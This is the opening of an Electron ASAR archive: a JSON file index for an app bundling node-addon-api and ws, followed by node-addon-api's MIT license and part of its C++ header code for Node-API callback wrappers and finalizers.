à*Ü*Ö*{"files":{"node_modules":{"files":{"node-addon-api":{"files":{"LICENSE.md":{"size":1150,"integrity":{"algorithm":"SHA256","hash":"89024017b88a9f2b763f79b941a4f2db3b4428edfcacdc0b23866b2da633ad0c","blockSize":4194304,"blocks":["89024017b88a9f2b763f79b941a4f2db3b4428edfcacdc0b23866b2da633ad0c"]},"offset":"0"},"common.gypi":{"size":833,"integrity":{"algorithm":"SHA256","hash":"c2588f59f1d4eebe14331b2cfabcfdff85e8c282f9f66028385cffece8aa85e9","blockSize":4194304,"blocks":["c2588f59f1d4eebe14331b2cfabcfdff85e8c282f9f66028385cffece8aa85e9"]},"offset":"1150"},"except.gypi":{"size":560,"integrity":{"algorithm":"SHA256","hash":"ddbc09f5b66fe24dd898fbe659085a6ff72e9575025004fc3762271dba781e8b","blockSize":4194304,"blocks":["ddbc09f5b66fe24dd898fbe659085a6ff72e9575025004fc3762271dba781e8b"]},"offset":"1983"},"index.js":{"size":435,"integrity":{"algorithm":"SHA256","hash":"afbfa96b5c40c643828f212610129d2911095eff1e86e63ccfe81658d6fe61d9","blockSize":4194304,"blocks":["afbfa96b5c40c643828f212610129d2911095eff1e86e63ccfe81658d6fe61d9"]},"offset":"2543"},"napi-inl.deprecated.h":{"size":6323,"integrity":{"algorithm":"SHA256","hash":"b66ed1e565e735bbfabcc2f72d466ab7c5414d3ef8851d1af440b81be7f2375c","blockSize":4194304,"blocks":["b66ed1e565e735bbfabcc2f72d466ab7c5414d3ef8851d1af440b81be7f2375c"]},"offset":"2978"},"napi-inl.h":{"size":242231,"integrity":{"algorithm":"SHA256","hash":"8443e625a36c851c497d359d86bd617d1c999c62d0c01c48da7d58fce7a2c5c1","blockSize":4194304,"blocks":["8443e625a36c851c497d359d86bd617d1c999c62d0c01c48da7d58fce7a2c5c1"]},"offset":"9301"},"napi.h":{"size":124010,"integrity":{"algorithm":"SHA256","hash":"02b744ed8559ee13c33e4dc1de15bee7d499cd69c416f7faf5a7b20a4697c84d","blockSize":4194304,"blocks":["02b744ed8559ee13c33e4dc1de15bee7d499cd69c416f7faf5a7b20a4697c84d"]},"offset":"251532"},"node_addon_api.gyp":{"size":1097,"integrity":{"algorithm":"SHA256","hash":"6d34b9bae562103233f650d8a041edc0ca6b44d90898cd232b38745adfb7edfc","blockSize":4194304,"blocks":["6d34b9bae562103233f650d8a041edc0ca6b44d90898cd232b38745adfb7edfc"]},"offset":"375542"},"node_api.gyp":{"size":132,"integrity":{"algorithm":"SHA256","hash":"3cd2c44fb0974f016376b676d46bbebbca7c89d4383b09ece30e4cb4122a1499","blockSize":4194304,"blocks":["3cd2c44fb0974f016376b676d46bbebbca7c89d4383b09ece30e4cb4122a1499"]},"offset":"376639"},"noexcept.gypi":{"size":649,"integrity":{"algorithm":"SHA256","hash":"0e815179b5d2697e0acdc8f3c3a5d0a1ed050d48a295ee000454cf5352357f66","blockSize":4194304,"blocks":["0e815179b5d2697e0acdc8f3c3a5d0a1ed050d48a295ee000454cf5352357f66"]},"offset":"376771"},"nothing.c":{"size":0,"integrity":{"algorithm":"SHA256","hash":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","blockSize":4194304,"blocks":[]},"offset":"377420"},"package-support.json":{"size":467,"integrity":{"algorithm":"SHA256","hash":"b1cb7da23cca1681c7392a3c889eb0cc4916c53d2d7692d4b654ae751f3442f3","blockSize":4194304,"blocks":["b1cb7da23cca1681c7392a3c889eb0cc4916c53d2d7692d4b654ae751f3442f3"]},"offset":"377420"},"package.json":{"size":783,"integrity":{"algorithm":"SHA256","hash":"0c1cbd283435737091c4d7d6382d52181738a7989d8ca7bd5d57a6c0586cd0d4","blockSize":4194304,"blocks":["0c1cbd283435737091c4d7d6382d52181738a7989d8ca7bd5d57a6c0586cd0d4"]},"offset":"377887"},"tools":{"files":{"README.md":{"size":3217,"integrity":{"algorithm":"SHA256","hash":"65e9ea918538f453166b10a1d609cf44cec3d2d01f23fecb5265fb3a4bf303d5","blockSize":4194304,"blocks":["65e9ea918538f453166b10a1d609cf44cec3d2d01f23fecb5265fb3a4bf303d5"]},"offset":"378670"},"check-napi.js":{"size":3176,"integrity":{"algorithm":"SHA256","hash":"9e1207808023cd998fe9e377aefbe77d6c59fa129f94e6acbf24907149d8c11e","blockSize":4194304,"blocks":["9e1207808023cd998fe9e377aefbe77d6c59fa129f94e6acbf24907149d8c11e"]},"offset":"381887"},"clang-format.js":{"size":2002,"integrity":{"algorithm":"SHA256","hash":"3e0b5e6d6f1a0c5ed106115871d0fd48f37bac5554effdacaf8d2439f4ed0c65","blockSize":4194304,"blocks":["3e0b5e6d6f1a0c5ed106115871d0fd48f37bac5554effdacaf8d2439f4ed0c65"]},"offset":"385063"},"conversion.js":{"size":15001,"integrity":{"algorithm":"SHA256","hash":"9f375b0f9d9ec93c2ded07470478b3f523a2661c6ca707c28b0e9dae15009002","blockSize":4194304,"blocks":["9f375b0f9d9ec93c2ded07470478b3f523a2661c6ca707c28b0e9dae15009002"]},"offset":"387065"}}}}},"ws":{"files":{"LICENSE":{"size":1183,"integrity":{"algorithm":"SHA256","hash":"2b29dcfe0d6471f7e8c92c5fb38c9f93edee10330937055440192f1832b1ecef","blockSize":4194304,"blocks":["2b29dcfe0d6471f7e8c92c5fb38c9f93edee10330937055440192f1832b1ecef"]},"offset":"402066"},"browser.js":{"size":176,"integrity":{"algorithm":"SHA256","hash":"010da44addea1d88b2b732540c3f1fd0cbcb28926b96623d4c64222e0ead2d0e","blockSize":4194304,"blocks":["010da44addea1d88b2b732540c3f1fd0cbcb28926b96623d4c64222e0ead2d0e"]},"offset":"403249"},"index.js":{"size":796,"integrity":{"algorithm":"SHA256","hash":"924564d5be26d59b9682c4263f68320e48dde7240bd2d1ad17ec305537429dd2","blockSize":4194304,"blocks":["924564d5be26d59b9682c4263f68320e48dde7240bd2d1ad17ec305537429dd2"]},"offset":"403425"},"lib":{"files":{"buffer-util.js":{"size":3501,"integrity":{"algorithm":"SHA256","hash":"4e996b0c29f30bb094d836a2a563aceebaf3e8692a1e3d5bb4a01a233029732f","blockSize":4194304,"blocks":["4e996b0c29f30bb094d836a2a563aceebaf3e8692a1e3d5bb4a01a233029732f"]},"offset":"404221"},"constants.js":{"size":503,"integrity":{"algorithm":"SHA256","hash":"391e823142b8b370e55a2fd32b022deaf03b8415c56000009674ebc86a0b4f86","blockSize":4194304,"blocks":["391e823142b8b370e55a2fd32b022deaf03b8415c56000009674ebc86a0b4f86"]},"offset":"407722"},"event-target.js":{"size":7321,"integrity":{"algorithm":"SHA256","hash":"c45d3c6e12d170c860c0c3f1a050aa0f864d9806632b609a1e607d675aba128c","blockSize":4194304,"blocks":["c45d3c6e12d170c860c0c3f1a050aa0f864d9806632b609a1e607d675aba128c"]},"offset":"408225"},"extension.js":{"size":6183,"integrity":{"algorithm":"SHA256","hash":"852564f0f6b460287043803eae732666fb5610f676874354fc89f06aa4e986ed","blockSize":4194304,"blocks":["852564f0f6b460287043803eae732666fb5610f676874354fc89f06aa4e986ed"]},"offset":"415546"},"limiter.js":{"size":1034,"integrity":{"algorithm":"SHA256","hash":"e0469d4b83f6ba764b15f80e1766b75c136fbff68f048f4c050f0b1c7f065f69","blockSize":4194304,"blocks":["e0469d4b83f6ba764b15f80e1766b75c136fbff68f048f4c050f0b1c7f065f69"]},"offset":"421729"},"permessage-deflate.js":{"size":14669,"integrity":{"algorithm":"SHA256","hash":"16a91536988a53c23047ee5882392068728a839a244178c3b09b8c54982f58b0","blockSize":4194304,"blocks":["16a91536988a53c23047ee5882392068728a839a244178c3b09b8c54982f58b0"]},"offset":"422763"},"receiver.js":{"size":17778,"integrity":{"algorithm":"SHA256","hash":"77f7463d96be072b07183cdd8022d80e5032d3257948138ecd669dc758b20efa","blockSize":4194304,"blocks":["77f7463d96be072b07183cdd8022d80e5032d3257948138ecd669dc758b20efa"]},"offset":"437432"},"sender.js":{"size":16962,"integrity":{"algorithm":"SHA256","hash":"b343e24310aeb924e713767fb7cd445bccf4f3cc3504ceb2c56ce76b89c1cf45","blockSize":4194304,"blocks":["b343e24310aeb924e713767fb7cd445bccf4f3cc3504ceb2c56ce76b89c1cf45"]},"offset":"455210"},"stream.js":{"size":4204,"integrity":{"algorithm":"SHA256","hash":"a56fcb6e2b152097ee820b6f5410b1f71e59819b45d08d9f8bda588fe39070ec","blockSize":4194304,"blocks":["a56fcb6e2b152097ee820b6f5410b1f71e59819b45d08d9f8bda588fe39070ec"]},"offset":"472172"},"subprotocol.js":{"size":1498,"integrity":{"algorithm":"SHA256","hash":"be3f6323d6f549568577dcba9004c1479d95c65a7abb0fe0c582875b9fac0b7c","blockSize":4194304,"blocks":["be3f6323d6f549568577dcba9004c1479d95c65a7abb0fe0c582875b9fac0b7c"]},"offset":"476376"},"validation.js":{"size":3903,"integrity":{"algorithm":"SHA256","hash":"41ce8e83d0d434132e1704895fedb91f6703a701b42d91c80954ab29b2845593","blockSize":4194304,"blocks":["41ce8e83d0d434132e1704895fedb91f6703a701b42d91c80954ab29b2845593"]},"offset":"477874"},"websocket-server.js":{"size":17162,"integrity":{"algorithm":"SHA256","hash":"801cea14cf7dd2a1daee598229a2b5e5516f0ae396d8d1d585652097170b0416","blockSize":4194304,"blocks":["801cea14cf7dd2a1daee598229a2b5e5516f0ae396d8d1d585652097170b0416"]},"offset":"481777"},"websocket.js":{"size":39376,"integrity":{"algorithm":"SHA256","hash":"5ae09f773299ad39aad65a7ae6aa6a51fd6bae1d8fe1f1255152439ae50975e8","blockSize":4194304,"blocks":["5ae09f773299ad39aad65a7ae6aa6a51fd6bae1d8fe1f1255152439ae50975e8"]},"offset":"498939"}}},"package.json":{"size":1385,"integrity":{"algorithm":"SHA256","hash":"9128f73bd7c94dca09c793300eb79e062e76a3c3ecf4ac054a16bdad1cac55d5","blockSize":4194304,"blocks":["9128f73bd7c94dca09c793300eb79e062e76a3c3ecf4ac054a16bdad1cac55d5"]},"offset":"538315"},"wrapper.mjs":{"size":554,"integrity":{"algorithm":"SHA256","hash":"fe154662301fd558f935f9c217fccbe7a7dac02ff39e648a000589403ff27c7f","blockSize":4194304,"blocks":["fe154662301fd558f935f9c217fccbe7a7dac02ff39e648a000589403ff27c7f"]},"offset":"539700"}}}}},"index.html":{"size":5516,"integrity":{"algorithm":"SHA256","hash":"3bafdf8cd4bed8a14a2fa18dacf6adaa137c3e361b749ef2689794dde74538ec","blockSize":4194304,"blocks":["3bafdf8cd4bed8a14a2fa18dacf6adaa137c3e361b749ef2689794dde74538ec"]},"offset":"540254"},"main.js":{"size":95009,"integrity":{"algorithm":"SHA256","hash":"bce8b0060fca3dfe61ca04c4e826a80e008ec6aafa07452763accb443cb9b49a","blockSize":4194304,"blocks":["bce8b0060fca3dfe61ca04c4e826a80e008ec6aafa07452763accb443cb9b49a"]},"offset":"545770"},"package.json":{"size":200,"integrity":{"algorithm":"SHA256","hash":"73690fd79396ca1cc4ca751bc8ccd2d98297239f1889105d7bb77a4a9e298026","blockSize":4194304,"blocks":["73690fd79396ca1cc4ca751bc8ccd2d98297239f1889105d7bb77a4a9e298026"]},"offset":"640779"},"preload.js":{"size":890,"integrity":{"algorithm":"SHA256","hash":"dfa66d2c3b5e696dc94cfc14406e4adc262790635f660a850a4364c21dcb827d","blockSize":4194304,"blocks":["dfa66d2c3b5e696dc94cfc14406e4adc262790635f660a850a4364c21dcb827d"]},"offset":"640979"},"renderer.js":{"size":3278,"integrity":{"algorithm":"SHA256","hash":"08d85963dd2e54c92c48f1b7ebe6f26bec52bdb65fa7c49784fbce77735af6f1","blockSize":4194304,"blocks":["08d85963dd2e54c92c48f1b7ebe6f26bec52bdb65fa7c49784fbce77735af6f1"]},"offset":"641869"},"tray_icon.png":{"size":70872,"integrity":{"algorithm":"SHA256","hash":"434acd9d33d039303b4abe63cc6c54322182b83e4b01b434941bf0d0625022d2","blockSize":4194304,"blocks":["434acd9d33d039303b4abe63cc6c54322182b83e4b01b434941bf0d0625022d2"]},"offset":"645147"},"updater.js":{"size":2111,"integrity":{"algorithm":"SHA256","hash":"aa42aa4147733605bf859933c9a86087bfd82682f2135db5aaf8946b4e8ec014","blockSize":4194304,"blocks":["aa42aa4147733605bf859933c9a86087bfd82682f2135db5aaf8946b4e8ec014"]},"offset":"716019"},"webrtc_renderer.html":{"size":6012,"integrity":{"algorithm":"SHA256","hash":"f6889161b2d2c2b2b26df563cb931193696b0c1ae484dcc0a18b818b4f24cdae","blockSize":4194304,"blocks":["f6889161b2d2c2b2b26df563cb931193696b0c1ae484dcc0a18b818b4f24cdae"]},"offset":"718130"}}}The MIT License (MIT) Copyright (c) 2017 [Node.js API collaborators](https://github.com/nodejs/node-addon-api#collaborators) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. { 'variables': { 'NAPI_VERSION%': " inline PropertyDescriptor PropertyDescriptor::Accessor( const char* utf8name, Getter getter, napi_property_attributes attributes, void* /*data*/) { using CbData = details::CallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({getter, nullptr}); return PropertyDescriptor({utf8name, nullptr, nullptr, CbData::Wrapper, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( const std::string& utf8name, Getter getter, napi_property_attributes attributes, void* data) { return Accessor(utf8name.c_str(), getter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Accessor( napi_value name, Getter getter, napi_property_attributes attributes, void* /*data*/) { using CbData = details::CallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({getter, nullptr}); return PropertyDescriptor({nullptr, name, nullptr, CbData::Wrapper, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Name name, Getter getter, napi_property_attributes attributes, void* data) { napi_value nameValue = name; return PropertyDescriptor::Accessor(nameValue, getter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Accessor( const char* utf8name, Getter getter, Setter setter, napi_property_attributes attributes, void* /*data*/) { using CbData = details::AccessorCallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({getter, setter, nullptr}); return PropertyDescriptor({utf8name, nullptr, nullptr, CbData::GetterWrapper, CbData::SetterWrapper, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( const std::string& utf8name, Getter getter, Setter setter, napi_property_attributes attributes, void* data) { return Accessor(utf8name.c_str(), getter, setter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Accessor( napi_value name, Getter getter, Setter setter, napi_property_attributes attributes, void* /*data*/) { using CbData = details::AccessorCallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({getter, setter, nullptr}); return PropertyDescriptor({nullptr, name, nullptr, CbData::GetterWrapper, CbData::SetterWrapper, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Accessor( Name name, Getter getter, Setter setter, napi_property_attributes attributes, void* data) { napi_value nameValue = name; return PropertyDescriptor::Accessor( nameValue, getter, setter, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Function( const char* utf8name, Callable cb, napi_property_attributes attributes, void* /*data*/) { using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); using CbData = details::CallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({cb, nullptr}); return PropertyDescriptor({utf8name, nullptr, CbData::Wrapper, nullptr, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Function( const std::string& utf8name, Callable cb, napi_property_attributes attributes, void* data) { return Function(utf8name.c_str(), cb, attributes, data); } template inline PropertyDescriptor PropertyDescriptor::Function( napi_value name, Callable cb, napi_property_attributes attributes, void* /*data*/) { using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); using CbData = details::CallbackData; // TODO: Delete when the function is destroyed auto callbackData = new CbData({cb, nullptr}); return PropertyDescriptor({nullptr, name, CbData::Wrapper, nullptr, nullptr, nullptr, attributes, callbackData}); } template inline PropertyDescriptor PropertyDescriptor::Function( Name name, Callable cb, napi_property_attributes attributes, void* data) { napi_value nameValue = name; return PropertyDescriptor::Function(nameValue, cb, attributes, data); } #endif // !SRC_NAPI_INL_DEPRECATED_H_ #ifndef SRC_NAPI_INL_H_ #define SRC_NAPI_INL_H_ //////////////////////////////////////////////////////////////////////////////// // Node-API C++ Wrapper Classes // // Inline header-only implementations for "Node-API" ABI-stable C APIs for // Node.js. //////////////////////////////////////////////////////////////////////////////// // Note: Do not include this file directly! Include "napi.h" instead. // This should be a no-op and is intended for better IDE integration. #include "napi.h" #include #include #include #if NAPI_HAS_THREADS #include #endif // NAPI_HAS_THREADS #include #include #include #if defined(__clang__) || defined(__GNUC__) #define NAPI_NO_SANITIZE_VPTR __attribute__((no_sanitize("vptr"))) #else #define NAPI_NO_SANITIZE_VPTR #endif namespace Napi { #ifdef NAPI_CPP_CUSTOM_NAMESPACE namespace NAPI_CPP_CUSTOM_NAMESPACE { #endif // Helpers to handle functions exposed from C++ and internal constants. namespace details { // New napi_status constants not yet available in all supported versions of // Node.js releases. Only necessary when they are used in napi.h and napi-inl.h. constexpr int napi_no_external_buffers_allowed = 22; template inline void default_basic_finalizer(node_addon_api_basic_env /*env*/, void* data, void* /*hint*/) { delete static_cast(data); } // Attach a data item to an object and delete it when the object gets // garbage-collected. // TODO: Replace this code with `napi_add_finalizer()` whenever it becomes // available on all supported versions of Node.js. template < typename FreeType, node_addon_api_basic_finalize finalizer = default_basic_finalizer> inline napi_status AttachData(napi_env env, napi_value obj, FreeType* data, void* hint = nullptr) { napi_status status; #if (NAPI_VERSION < 5) napi_value symbol, external; status = napi_create_symbol(env, nullptr, &symbol); if (status == napi_ok) { status = napi_create_external(env, data, finalizer, hint, &external); if (status == napi_ok) { napi_property_descriptor desc = {nullptr, symbol, nullptr, nullptr, nullptr, external, napi_default, nullptr}; status = napi_define_properties(env, obj, 1, &desc); } } #else // NAPI_VERSION >= 5 status = napi_add_finalizer(env, obj, data, finalizer, hint, nullptr); #endif return status; } // For use in JS to C++ callback wrappers to catch any Napi::Error exceptions // and rethrow them as JavaScript exceptions before returning from the callback. template #ifdef NODE_ADDON_API_CPP_EXCEPTIONS_ALL inline napi_value WrapCallback(napi_env env, Callable callback) { #else inline napi_value WrapCallback(napi_env, Callable callback) { #endif #ifdef NODE_ADDON_API_CPP_EXCEPTIONS try { return callback(); } catch (const Error& e) { e.ThrowAsJavaScriptException(); return nullptr; } #ifdef NODE_ADDON_API_CPP_EXCEPTIONS_ALL catch (const std::exception& e) { Napi::Error::New(env, e.what()).ThrowAsJavaScriptException(); return nullptr; } catch (...) { Napi::Error::New(env, "A native exception was thrown") .ThrowAsJavaScriptException(); return nullptr; } #endif // NODE_ADDON_API_CPP_EXCEPTIONS_ALL #else // NODE_ADDON_API_CPP_EXCEPTIONS // When C++ exceptions are disabled, errors are immediately thrown as JS // exceptions, so there is no need to catch and rethrow them here. return callback(); #endif // NODE_ADDON_API_CPP_EXCEPTIONS } // For use in JS to C++ void callback wrappers to catch any Napi::Error // exceptions and rethrow them as JavaScript exceptions before returning from // the callback. template inline void WrapVoidCallback(Callable callback) { #ifdef NODE_ADDON_API_CPP_EXCEPTIONS try { callback(); } catch (const Error& e) { e.ThrowAsJavaScriptException(); } #else // NAPI_CPP_EXCEPTIONS // When C++ exceptions are disabled, errors are immediately thrown as JS // exceptions, so there is no need to catch and rethrow them here. callback(); #endif // NAPI_CPP_EXCEPTIONS } // For use in JS to C++ void callback wrappers to catch _any_ thrown exception // and rethrow them as JavaScript exceptions before returning from the callback, // wrapping in an Napi::Error as needed. template #ifdef NODE_ADDON_API_CPP_EXCEPTIONS_ALL inline void WrapVoidCallback(napi_env env, Callable callback) { #else inline void WrapVoidCallback(napi_env, Callable callback) { #endif #ifdef NODE_ADDON_API_CPP_EXCEPTIONS try { callback(); } catch (const Error& e) { e.ThrowAsJavaScriptException(); } #ifdef NODE_ADDON_API_CPP_EXCEPTIONS_ALL catch (const std::exception& e) { Napi::Error::New(env, e.what()).ThrowAsJavaScriptException(); } catch (...) { Napi::Error::New(env, "A native exception was thrown") .ThrowAsJavaScriptException(); } #endif // NODE_ADDON_API_CPP_EXCEPTIONS_ALL #else // When C++ exceptions are disabled, there is no need to catch and rethrow C++ // exceptions. JS errors should be thrown with // `Error::ThrowAsJavaScriptException`. callback(); #endif // NODE_ADDON_API_CPP_EXCEPTIONS } template struct CallbackData { static inline napi_value Wrapper(napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); CallbackData* callbackData = static_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); return callbackData->callback(callbackInfo); }); } Callable callback; void* data; }; template struct CallbackData { static inline napi_value Wrapper(napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); CallbackData* callbackData = static_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); callbackData->callback(callbackInfo); return nullptr; }); } Callable callback; void* data; }; template napi_value TemplatedVoidCallback(napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { CallbackInfo cbInfo(env, info); Callback(cbInfo); return nullptr; }); } template napi_value TemplatedCallback(napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { CallbackInfo cbInfo(env, info); // MSVC requires to copy 'Callback' function pointer to a local variable // before invoking it. auto callback = Callback; return callback(cbInfo); }); } template napi_value TemplatedInstanceCallback(napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { CallbackInfo cbInfo(env, info); T* instance = T::Unwrap(cbInfo.This().As()); return instance ? (instance->*UnwrapCallback)(cbInfo) : Napi::Value(); }); } template napi_value TemplatedInstanceVoidCallback(napi_env env, napi_callback_info info) NAPI_NOEXCEPT { return details::WrapCallback(env, [&] { CallbackInfo cbInfo(env, info); T* instance = T::Unwrap(cbInfo.This().As()); if (instance) (instance->*UnwrapCallback)(cbInfo); return nullptr; }); } template struct FinalizeData { #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template >> #endif static inline void Wrapper(node_addon_api_basic_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { WrapVoidCallback([&] { FinalizeData* finalizeData = static_cast(finalizeHint); finalizeData->callback(env, static_cast(data)); delete finalizeData; }); } #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template >, typename = void> static inline void Wrapper(node_addon_api_basic_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { #ifdef NODE_ADDON_API_REQUIRE_BASIC_FINALIZERS static_assert(false, "NODE_ADDON_API_REQUIRE_BASIC_FINALIZERS defined: Finalizer " "must be basic."); #endif napi_status status = node_api_post_finalizer(env, WrapperGC, data, finalizeHint); NAPI_FATAL_IF_FAILED( status, "FinalizeData::Wrapper", "node_api_post_finalizer failed"); } #endif #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template >> #endif static inline void WrapperWithHint(node_addon_api_basic_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { WrapVoidCallback([&] { FinalizeData* finalizeData = static_cast(finalizeHint); finalizeData->callback(env, static_cast(data), finalizeData->hint); delete finalizeData; }); } #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template >, typename = void> static inline void WrapperWithHint(node_addon_api_basic_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { #ifdef NODE_ADDON_API_REQUIRE_BASIC_FINALIZERS static_assert(false, "NODE_ADDON_API_REQUIRE_BASIC_FINALIZERS defined: Finalizer " "must be basic."); #endif napi_status status = node_api_post_finalizer(env, WrapperGCWithHint, data, finalizeHint); NAPI_FATAL_IF_FAILED( status, "FinalizeData::Wrapper", "node_api_post_finalizer failed"); } #endif static inline void WrapperGCWithoutData(napi_env env, void* /*data*/, void* finalizeHint) NAPI_NOEXCEPT { WrapVoidCallback(env, [&] { FinalizeData* finalizeData = static_cast(finalizeHint); finalizeData->callback(env); delete finalizeData; }); } static inline void WrapperGC(napi_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { WrapVoidCallback(env, [&] { FinalizeData* finalizeData = static_cast(finalizeHint); finalizeData->callback(env, static_cast(data)); delete finalizeData; }); } static inline void WrapperGCWithHint(napi_env env, void* data, void* finalizeHint) NAPI_NOEXCEPT { WrapVoidCallback(env, [&] { FinalizeData* finalizeData = static_cast(finalizeHint); finalizeData->callback(env, static_cast(data), finalizeData->hint); delete finalizeData; }); } Finalizer callback; Hint* hint; }; #if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) template , typename FinalizerDataType = void> struct ThreadSafeFinalize { static inline void Wrapper(napi_env env, void* rawFinalizeData, void* /* rawContext */) { if (rawFinalizeData == nullptr) return; ThreadSafeFinalize* finalizeData = static_cast(rawFinalizeData); finalizeData->callback(Env(env)); delete finalizeData; } static inline void FinalizeWrapperWithData(napi_env env, void* rawFinalizeData, void* /* rawContext */) { if (rawFinalizeData == nullptr) return; ThreadSafeFinalize* finalizeData = static_cast(rawFinalizeData); finalizeData->callback(Env(env), finalizeData->data); delete finalizeData; } static inline void FinalizeWrapperWithContext(napi_env env, void* rawFinalizeData, void* rawContext) { if (rawFinalizeData == nullptr) return; ThreadSafeFinalize* finalizeData = static_cast(rawFinalizeData); finalizeData->callback(Env(env), static_cast(rawContext)); delete finalizeData; } static inline void FinalizeFinalizeWrapperWithDataAndContext( napi_env env, void* rawFinalizeData, void* rawContext) { if (rawFinalizeData == nullptr) return; ThreadSafeFinalize* finalizeData = static_cast(rawFinalizeData); finalizeData->callback( Env(env), finalizeData->data, static_cast(rawContext)); delete finalizeData; } FinalizerDataType* data; Finalizer callback; }; template inline typename std::enable_if(nullptr)>::type CallJsWrapper(napi_env env, napi_value jsCallback, void* context, void* data) { details::WrapVoidCallback(env, [&]() { call(env, Function(env, jsCallback), static_cast(context), static_cast(data)); }); } template inline typename std::enable_if(nullptr)>::type CallJsWrapper(napi_env env, napi_value jsCallback, void* /*context*/, void* /*data*/) { details::WrapVoidCallback(env, [&]() { if (jsCallback != nullptr) { Function(env, jsCallback).Call(0, nullptr); } }); } #if NAPI_VERSION > 4 template napi_value DefaultCallbackWrapper(napi_env /*env*/, std::nullptr_t /*cb*/) { return nullptr; } template napi_value DefaultCallbackWrapper(napi_env /*env*/, Napi::Function cb) { return cb; } #else template napi_value DefaultCallbackWrapper(napi_env env, Napi::Function cb) { if (cb.IsEmpty()) { return TSFN::EmptyFunctionFactory(env); } return cb; } #endif // NAPI_VERSION > 4 #endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS template struct AccessorCallbackData { static inline napi_value GetterWrapper(napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); AccessorCallbackData* callbackData = static_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); return callbackData->getterCallback(callbackInfo); }); } static inline napi_value SetterWrapper(napi_env env, napi_callback_info info) { return details::WrapCallback(env, [&] { CallbackInfo callbackInfo(env, info); AccessorCallbackData* callbackData = static_cast(callbackInfo.Data()); callbackInfo.SetData(callbackData->data); callbackData->setterCallback(callbackInfo); return nullptr; }); } Getter getterCallback; Setter setterCallback; void* data; }; // Debugging-purpose C++-style variant of sprintf(). inline std::string StringFormat(const char* format, ...) { std::string result; va_list args; va_start(args, format); int len = vsnprintf(nullptr, 0, format, args); result.resize(len); vsnprintf(&result[0], len + 1, format, args); va_end(args); return result; } template class HasExtendedFinalizer { private: template struct SFINAE {}; template static char test(SFINAE*); template static int test(...); public: static constexpr bool value = sizeof(test(0)) == sizeof(char); }; template class HasBasicFinalizer { private: template struct SFINAE {}; template static char test(SFINAE*); template static int test(...); public: static constexpr bool value = sizeof(test(0)) == sizeof(char); }; } // namespace details #ifndef NODE_ADDON_API_DISABLE_DEPRECATED #include "napi-inl.deprecated.h" #endif // !NODE_ADDON_API_DISABLE_DEPRECATED //////////////////////////////////////////////////////////////////////////////// // Module registration //////////////////////////////////////////////////////////////////////////////// // Register an add-on based on an initializer function. #define NODE_API_MODULE(modname, regfunc) \ static napi_value __napi_##regfunc(napi_env env, napi_value exports) { \ return Napi::RegisterModule(env, exports, regfunc); \ } \ NAPI_MODULE(modname, __napi_##regfunc) // Register an add-on based on a subclass of `Addon` with a custom Node.js // module name. #define NODE_API_NAMED_ADDON(modname, classname) \ static napi_value __napi_##classname(napi_env env, napi_value exports) { \ return Napi::RegisterModule(env, exports, &classname::Init); \ } \ NAPI_MODULE(modname, __napi_##classname) // Register an add-on based on a subclass of `Addon` with the Node.js module // name given by node-gyp from the `target_name` in binding.gyp. #define NODE_API_ADDON(classname) \ NODE_API_NAMED_ADDON(NODE_GYP_MODULE_NAME, classname) // Adapt the NAPI_MODULE registration function: // - Wrap the arguments in NAPI wrappers. // - Catch any NAPI errors and rethrow as JS exceptions. inline napi_value 